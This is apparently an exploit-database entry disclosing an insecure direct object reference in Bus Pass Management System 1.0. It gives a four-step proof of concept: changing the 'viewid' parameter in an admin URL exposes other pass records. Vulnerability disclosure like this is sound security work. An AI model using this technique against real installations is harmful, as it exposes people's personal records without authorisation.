Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR)

# Exploit Title: Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR)
# Date: 2021-09-05
# Exploit Author: sudoninja
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 - XAMPP Server

# Vulnerable page :

http://localhost/buspassms/admin/view-pass-detail.php?viewid=4

# Vulnerable paramater :

The viewid paramater is Vulnerable to Insecure direct object references (IDOR)

# Proof Of Concept :

# 1 . Download And install [ bus-pass-management-system ]
# 2 . Go to /admin/index.php and Enter Username & Password 
# 3 . Navigate to search >> search pass
# 4 . Click on the view and enter the change viewid into the Url

Use :
http://localhost/buspassms/admin/view-pass-detail.php?viewid=[change id]